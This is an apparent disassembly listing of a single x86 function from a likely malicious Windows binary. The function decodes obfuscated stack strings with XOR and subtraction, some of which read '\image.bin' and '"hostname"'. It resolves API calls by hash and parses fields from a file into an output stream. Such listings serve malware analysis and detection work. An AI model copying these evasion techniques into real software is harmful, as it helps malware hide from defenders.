Function at 0x412ad6
Capabilities:
Encode data using xor

Disassembly:
push ebx
mov ebx, esp
push ecx
push ecx
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
sub esp, 0x280
push esi
push edi
xor eax, eax
lea edi, [ebp - 0x94]
stosd dword es:[edi], eax
mov esi, ecx
push 0xf
lea ecx, [ebp - 0xe4]
mov dword [ebp - 0xcc], esi
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
lea eax, [ebx + 8]
and dword [ebp - 0x84], 0
pop edi
push eax
mov dword [ebp - 0x80], edi
mov byte [ebp - 0x94], 0
call fcn.004025ee
sub esp, 0x18
lea eax, [ebx + 8]
mov ecx, esp
push eax
call fcn.004025ee
lea eax, [ebp - 0x188]
mov ecx, esi
push eax
call fcn.0040ffa0
cmp dword [ebp - 0xd0], edi
lea ecx, [ebp - 0xe4]
mov edx, dword [ebp - 0xd4]
cmova ecx, dword [ebp - 0xe4]
push ecx
push ecx
call fcn.00406e7c
add esp, 8
cmp eax, 0xffffffff
je 0x412b9a
push eax
push 0
lea eax, [ebp - 0xfc]
push eax
lea ecx, [ebp - 0xe4]
call fcn.00403d20
push eax
lea ecx, [ebp - 0xe4]
call fcn.00403e31
lea ecx, [ebp - 0xfc]
call fcn.00401a42
lea eax, [ebp - 0xe4]
push eax
lea ecx, [ebp - 0xb0]
call fcn.004025ee
xor eax, eax
lea edi, [ebp - 0x170]
stosd dword es:[edi], eax
xor ecx, ecx
push 0xf
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
xor eax, eax
mov dword [ebp - 0x160], ecx
lea edi, [ebp - 0x158]
mov byte [ebp - 0x170], cl
mov dword [ebp - 0x15c], 0xf
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
lea eax, [ebp - 0xb0]
pop edi
mov dword [ebp - 0x148], ecx
mov byte [ebp - 0x158], cl
lea ecx, [ebp - 0x158]
push eax
mov dword [ebp - 0x144], edi
call fcn.00406c2c
movaps xmm0, xmmword [0x41aee0]
xor ecx, ecx
movups xmmword [ebp - 0x70], xmm0
mov al, byte [ebp - 0x70]
xor byte [ebp + ecx - 0x6f], al
inc ecx
cmp ecx, 0xe
jb 0x412c10
lea eax, [ebp - 0x6f]
mov byte [ebp - 0x61], 0
push eax
lea ecx, [ebp - 0x170]
call fcn.00406c0b
lea ecx, [ebp - 0xb0]
call fcn.00401a42
mov cl, 0x77
mov dword [ebp - 0xf], 0x1a1e2b77
mov dword [ebp - 0xb], 0x59121016
xor eax, eax
mov dword [ebp - 7], 0x191e15
xor byte [ebp + eax - 0xe], cl
inc eax
cmp eax, 0xa
jae 0x412c63
mov cl, byte [ebp - 0xf]
jmp 0x412c54
lea eax, [ebp - 0xe]
mov byte [ebp - 4], 0
push eax
lea edx, [ebp - 0x170]
lea ecx, [ebp - 0xfc]
call fcn.004026c8
pop ecx
mov ecx, eax
call fcn.00404d11
lea ecx, [ebp - 0xfc]
call fcn.00401a42
lea ecx, [ebp - 0x170]
call fcn.00407481
test al, al
je 0x412dcc
lea ecx, [ebp - 0x170]
call fcn.004075b3
test al, al
je 0x412dcc
xor edx, edx
mov dword [ebp - 0x18], 0x7b723678
mov al, 0x78
mov word [ebp - 0x14], 0x7677
mov byte [ebp - 0x12], dl
mov ecx, edx
movsx eax, al
and eax, 0x8000000f
jns 0x412cda
dec eax
or eax, 0xfffffff0
inc eax
sub byte [ebp + ecx - 0x17], al
inc ecx
cmp ecx, 5
jae 0x412ce9
mov al, byte [ebp - 0x18]
jmp 0x412ccb
push edx
lea eax, [ebp - 0x17]
mov byte [ebp - 0x12], dl
push eax
lea ecx, [ebx + 8]
call fcn.00403dff
cmp eax, 0xffffffff
je 0x4133f1
xor eax, eax
lea edi, [ebp - 0xb0]
stosd dword es:[edi], eax
add esi, 0xa8
push 0xf
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
and dword [ebp - 0xa0], 0
pop edi
sub esp, 0x18
mov dword [ebp - 0x9c], edi
mov ecx, esp
mov byte [ebp - 0xb0], 0
push esi
call fcn.004025ee
call fcn.00414418
add esp, 0x18
test eax, eax
je 0x412d5a
mov edx, 0xbe4b57d8
xor ecx, ecx
call fcn.00404bfc
mov ecx, esi
cmp dword [esi + 0x14], edi
jbe 0x412d57
mov ecx, dword [esi]
push ecx
call eax
mov edx, 0xc768cc
xor ecx, ecx
call fcn.00404bfc
cmp dword [esi + 0x14], edi
jbe 0x412d6d
mov esi, dword [esi]
cmp dword [ebx + 0x1c], edi
lea ecx, [ebx + 8]
push 0
cmova ecx, dword [ebx + 8]
push esi
push ecx
call eax
sub esp, 0x18
lea eax, [ebx + 8]
mov ecx, esp
push eax
call fcn.004025ee
lea ecx, [ebp - 0xb0]
call fcn.0041444b
add esp, 0x18
cmp dword [ebp - 0xa0], 0
jne 0x412e13
mov edx, dword [ebp - 0x9c]
cmp edx, edi
jbe 0x412db8
mov ecx, dword [ebp - 0xb0]
inc edx
call fcn.00401bbe
and dword [ebp - 0xa0], 0
mov dword [ebp - 0x9c], edi
mov byte [ebp - 0xb0], 0
lea ecx, [ebp - 0x170]
call fcn.00407259
lea ecx, [ebp - 0x188]
call fcn.00401a42
lea ecx, [ebp - 0xe4]
call fcn.00401a42
mov edx, dword [ebp - 0x80]
cmp edx, edi
jbe 0x412e00
mov ecx, dword [ebp - 0x94]
inc edx
call fcn.00401bbe
lea ecx, [ebx + 8]
call fcn.00401a42
pop edi
pop esi
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret 0x18
push 6
xor edx, edx
pop esi
mov cl, 0x52
mov dword [ebp - 0x7c], 0x3d3a7052
mov dword [ebp - 0x78], 0x333c2621
xor eax, eax
mov dword [ebp - 0x74], 0x70373f
xor byte [ebp + eax - 0x7b], cl
inc eax
cmp eax, 0xa
jae 0x412e40
mov cl, byte [ebp - 0x7c]
jmp 0x412e31
push edx
lea eax, [ebp - 0x7b]
mov byte [ebp - 0x71], 0
push eax
lea ecx, [ebp - 0xb0]
call fcn.00403dff
mov dword [ebp - 0x18], eax
cmp eax, 0xffffffff
je 0x413317
mov al, 0x26
mov dword [ebp - 0x6c], 0x756e2826
mov dword [ebp - 0x68], 0x67747a79
xor ecx, ecx
mov dword [ebp - 0x64], 0x286b73
movsx eax, al
and eax, 0x8000000f
jns 0x412e88
dec eax
or eax, 0xfffffff0
inc eax
sub byte [ebp + ecx - 0x6b], al
inc ecx
cmp ecx, 0xa
jae 0x412e97
mov al, byte [ebp - 0x6c]
jmp 0x412e79
lea eax, [ebp - 0x6b]
mov byte [ebp - 0x61], 0
push eax
lea ecx, [ebp - 0x60]
call fcn.00401a09
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x60]
push eax
lea eax, [ebp - 0xb0]
push eax
lea eax, [ebp - 0xfc]
push eax
call fcn.0041343b
lea ecx, [ebp - 0x60]
call fcn.00401a42
movups xmm0, xmmword [0x41b1f0]
mov dword [ebp - 0x4d], 0x4434b47
xor ecx, ecx
mov byte [ebp - 0x49], 0
movups xmmword [ebp - 0x5d], xmm0
mov al, byte [ebp - 0x5d]
xor byte [ebp + ecx - 0x5c], al
inc ecx
cmp ecx, 0x13
jb 0x412ee2
lea eax, [ebp - 0x5c]
mov byte [ebp - 0x49], 0
push eax
lea ecx, [ebp - 0xc8]
call fcn.00401a09
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0xc8]
push eax
lea eax, [ebp - 0xb0]
push eax
lea eax, [ebp - 0x114]
push eax
call fcn.0041343b
lea ecx, [ebp - 0xc8]
call fcn.00401a42
movups xmm0, xmmword [0x41b4a0]
mov dword [ebp - 0x4d], 0x24667471
xor ecx, ecx
mov byte [ebp - 0x49], 0
movups xmmword [ebp - 0x5d], xmm0
movsx eax, byte [ebp - 0x5d]
and eax, 0x8000000f
jns 0x412f53
dec eax
or eax, 0xfffffff0
inc eax
sub byte [ebp + ecx - 0x5c], al
inc ecx
cmp ecx, 0x13
jb 0x412f43
lea eax, [ebp - 0x5c]
mov byte [ebp - 0x49], 0
push eax
lea ecx, [ebp - 0xc8]
call fcn.00401a09
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0xc8]
push eax
lea eax, [ebp - 0xb0]
push eax
lea eax, [ebp - 0x1d0]
push eax
call fcn.0041343b
lea ecx, [ebp - 0xc8]
call fcn.00401a42
sub esp, 0x18
lea eax, [ebp - 0x114]
mov ecx, esp
push eax
call fcn.004025ee
lea eax, [ebp - 0x1b8]
push eax
lea ecx, [ebp - 0x170]
call fcn.0040764f
sub esp, 0x18
lea eax, [ebp - 0x1d0]
mov ecx, esp
push eax
call fcn.004025ee
lea eax, [ebp - 0x1a0]
push eax
lea ecx, [ebp - 0x170]
call fcn.0040764f
xor edx, edx
mov byte [ebp - 0x1f], 3
mov al, 9
mov byte [ebp - 0x1d], dl
xor al, 3
mov dword [ebp - 0x2d], 0x6e775b68
mov byte [ebp - 0x1e], al
mov ecx, edx
mov al, 0x68
mov dword [ebp - 0x29], 0x11427c
movsx eax, al
and eax, 0x8000000f
jns 0x413010
dec eax
or eax, 0xfffffff0
inc eax
sub byte [ebp + ecx - 0x2c], al
inc ecx
cmp ecx, esi
jae 0x41301e
mov al, byte [ebp - 0x2d]
jmp 0x413001
lea eax, [ebp - 0x188]
mov byte [ebp - 0x26], dl
push eax
lea edx, [ebp - 0x2c]
lea ecx, [ebp - 0x60]
call fcn.0040771e
pop ecx
lea ecx, [ebp - 0x1e]
mov edx, eax
push ecx
lea ecx, [ebp - 0xc8]
call fcn.00404203
pop ecx
mov ecx, dword [eax + 0x10]
cmp dword [eax + 0x14], edi
jbe 0x413050
mov eax, dword [eax]
push ecx
push eax
lea ecx, [ebp - 0x94]
call fcn.0040266f
lea ecx, [ebp - 0xc8]
call fcn.00401a42
lea ecx, [ebp - 0x60]
call fcn.00401a42
push 0x42
pop eax
mov byte [ebp - 0x22], al
xor edx, edx
movsx eax, al
mov cl, 0xc
mov byte [ebp - 0x20], dl
and eax, 0x8000000f
jns 0x41308c
dec eax
or eax, 0xfffffff0
inc eax
sub cl, al
mov byte [ebp - 0x20], dl
mov byte [ebp - 0x21], cl
mov al, 0x10
mov dword [ebp - 0x35], 0x736f4810
mov ecx, edx
mov dword [ebp - 0x31], 0x93a74
movsx eax, al
and eax, 0x8000000f
jns 0x4130b5
dec eax
or eax, 0xfffffff0
inc eax
sub byte [ebp + ecx - 0x34], al
inc ecx
cmp ecx, esi
jae 0x4130c3
mov al, byte [ebp - 0x35]
jmp 0x4130a6
lea eax, [ebp - 0xfc]
mov byte [ebp - 0x2e], dl
push eax
lea edx, [ebp - 0x34]
lea ecx, [ebp - 0x60]
call fcn.0040771e
pop ecx
lea ecx, [ebp - 0x21]
mov edx, eax
push ecx
lea ecx, [ebp - 0xc8]
call fcn.00404203
pop ecx
mov ecx, dword [eax + 0x10]
cmp dword [eax + 0x14], edi
jbe 0x4130f5
mov eax, dword [eax]
push ecx
push eax
lea ecx, [ebp - 0x94]
call fcn.0040266f
lea ecx, [ebp - 0xc8]
call fcn.00401a42
lea ecx, [ebp - 0x60]
call fcn.00401a42
mov al, 0x61
xor edx, edx
mov byte [ebp - 0x25], al
mov cl, 0xb
movsx eax, al
mov byte [ebp - 0x23], dl
and eax, 0x8000000f
jns 0x413130
dec eax
or eax, 0xfffffff0
inc eax
sub cl, al
mov byte [ebp - 0x23], dl
mov byte [ebp - 0x24], cl
mov al, 0x79
mov dword [ebp - 0x3d], 0x6e7c5e79
mov ecx, edx
mov dword [ebp - 0x39], 0x12437b
movsx eax, al
and eax, 0x8000000f
jns 0x413159
dec eax
or eax, 0xfffffff0
inc eax
sub byte [ebp + ecx - 0x3c], al
inc ecx
cmp ecx, esi
jae 0x413167
mov al, byte [ebp - 0x3d]
jmp 0x41314a
lea eax, [ebp - 0x1b8]
mov byte [ebp - 0x36], dl
push eax
lea edx, [ebp - 0x3c]
lea ecx, [ebp - 0x60]
call fcn.0040771e
pop ecx
lea ecx, [ebp - 0x24]
mov edx, eax
push ecx
lea ecx, [ebp - 0xc8]
call fcn.00404203
pop ecx
mov ecx, dword [eax + 0x10]
cmp dword [eax + 0x14], edi
jbe 0x413199
mov eax, dword [eax]
push ecx
push eax
lea ecx, [ebp - 0x94]
call fcn.0040266f
lea ecx, [ebp - 0xc8]
call fcn.00401a42
lea ecx, [ebp - 0x60]
call fcn.00401a42
mov al, 0x2e
mov byte [ebp - 3], 0x24
xor edx, edx
mov dword [ebp - 0x45], 0x70625303
xor al, 0x24
mov byte [ebp - 1], dl
mov byte [ebp - 2], al
mov cl, 3
mov dword [ebp - 0x41], 0xa3970
mov eax, edx
xor byte [ebp + eax - 0x44], cl
inc eax
cmp eax, esi
jae 0x4131e9
mov cl, byte [ebp - 0x45]
jmp 0x4131db
lea eax, [ebp - 0x1a0]
mov byte [ebp - 0x3e], dl
push eax
lea edx, [ebp - 0x44]
lea ecx, [ebp - 0x60]
call fcn.0040771e
pop ecx
lea ecx, [ebp - 2]
mov edx, eax
push ecx
lea ecx, [ebp - 0xc8]
call fcn.00404203
pop ecx
mov ecx, dword [eax + 0x10]
cmp dword [eax + 0x14], edi
jbe 0x41321b
mov eax, dword [eax]
push ecx
push eax
lea ecx, [ebp - 0x94]
call fcn.0040266f
lea ecx, [ebp - 0xc8]
call fcn.00401a42
lea ecx, [ebp - 0x60]
call fcn.00401a42
xor edx, edx
mov dword [ebp - 0x1c], 0x14174a
mov al, 0x4a
mov ecx, edx
movsx eax, al
and eax, 0x8000000f
jns 0x413257
dec eax
or eax, 0xfffffff0
inc eax
sub byte [ebp + ecx - 0x1b], al
inc ecx
cmp ecx, 2
jae 0x413266
mov al, byte [ebp - 0x1c]
jmp 0x413248
mov byte [ebp - 0x19], dl
mov cl, 0x6b
mov dword [ebp - 0xb], 0x1f0a3b6b
mov eax, edx
mov dword [ebp - 7], 0x625103
xor byte [ebp + eax - 0xa], cl
inc eax
cmp eax, esi
jae 0x413289
mov cl, byte [ebp - 0xb]
jmp 0x41327b
lea eax, [ebx + 8]
mov byte [ebp - 4], dl
push eax
lea edx, [ebp - 0xa]
lea ecx, [ebp - 0x60]
call fcn.0040771e
pop ecx
lea ecx, [ebp - 0x1b]
mov edx, eax
push ecx
lea ecx, [ebp - 0xc8]
call fcn.00404203
pop ecx
mov ecx, dword [eax + 0x10]
cmp dword [eax + 0x14], edi
jbe 0x4132b8
mov eax, dword [eax]
push ecx
push eax
lea ecx, [ebp - 0x94]
call fcn.0040266f
lea ecx, [ebp - 0xc8]
call fcn.00401a42
lea ecx, [ebp - 0x60]
call fcn.00401a42
lea ecx, [ebp - 0x1a0]
call fcn.00401a42
lea ecx, [ebp - 0x1b8]
call fcn.00401a42
lea ecx, [ebp - 0x1d0]
call fcn.00401a42
lea ecx, [ebp - 0x114]
call fcn.00401a42
lea ecx, [ebp - 0xfc]
call fcn.00401a42
mov edx, dword [ebp - 0x18]
jmp 0x412e18
cmp dword [ebp - 0x84], 0
je 0x4133db
mov edx, dword [ebp - 0xcc]
mov al, 0x2c
push ecx
xor al, 0x70
mov byte [ebp - 1], 0
push ecx
mov byte [ebp - 2], al
lea ecx, [ebp - 0x114]
lea eax, [edx + 0xc0]
mov byte [ebp - 3], 0x70
push 8
push eax
lea eax, [ebp - 2]
mov byte [ebp - 1], 0
push eax
add edx, 0x90
call fcn.004026c8
pop ecx
mov edx, eax
lea ecx, [ebp - 0xfc]
call fcn.00402714
pop ecx
push eax
lea ecx, [ebp - 0x280]
call fcn.00404fe7
lea ecx, [ebp - 0xfc]
call fcn.00401a42
lea ecx, [ebp - 0x114]
call fcn.00401a42
cmp dword [ebp - 0x230], 0
je 0x4133c4
cmp dword [ebp - 0x80], edi
lea edx, [ebp - 0x94]
push dword [ebp - 0x84]
cmova edx, dword [ebp - 0x94]
lea ecx, [ebp - 0x280]
call fcn.00406fed
pop ecx
lea ecx, [ebp - 0x280]
call fcn.00404f93
lea ecx, [ebp - 0x218]
call fcn.00404fb4
lea ecx, [ebp - 0x218]
call dword [sym.imp.MSVCP140.dll_public_virtual:_void___thiscall_std::basic_ios_char__struct_std::char_traits_char__::destructor_void_]
mov edx, dword [ebp - 0x9c]
cmp edx, edi
jbe 0x4133f1
mov ecx, dword [ebp - 0xb0]
inc edx
call fcn.00401bbe
lea ecx, [ebp - 0x170]
call fcn.00407259
lea ecx, [ebp - 0x188]
call fcn.00401a42
lea ecx, [ebp - 0xe4]
call fcn.00401a42
mov edx, dword [ebp - 0x80]
cmp edx, edi
jbe 0x413425
mov ecx, dword [ebp - 0x94]
inc edx
call fcn.00401bbe
and dword [ebp - 0x84], 0
mov dword [ebp - 0x80], edi
mov byte [ebp - 0x94], 0
jmp 0x412e00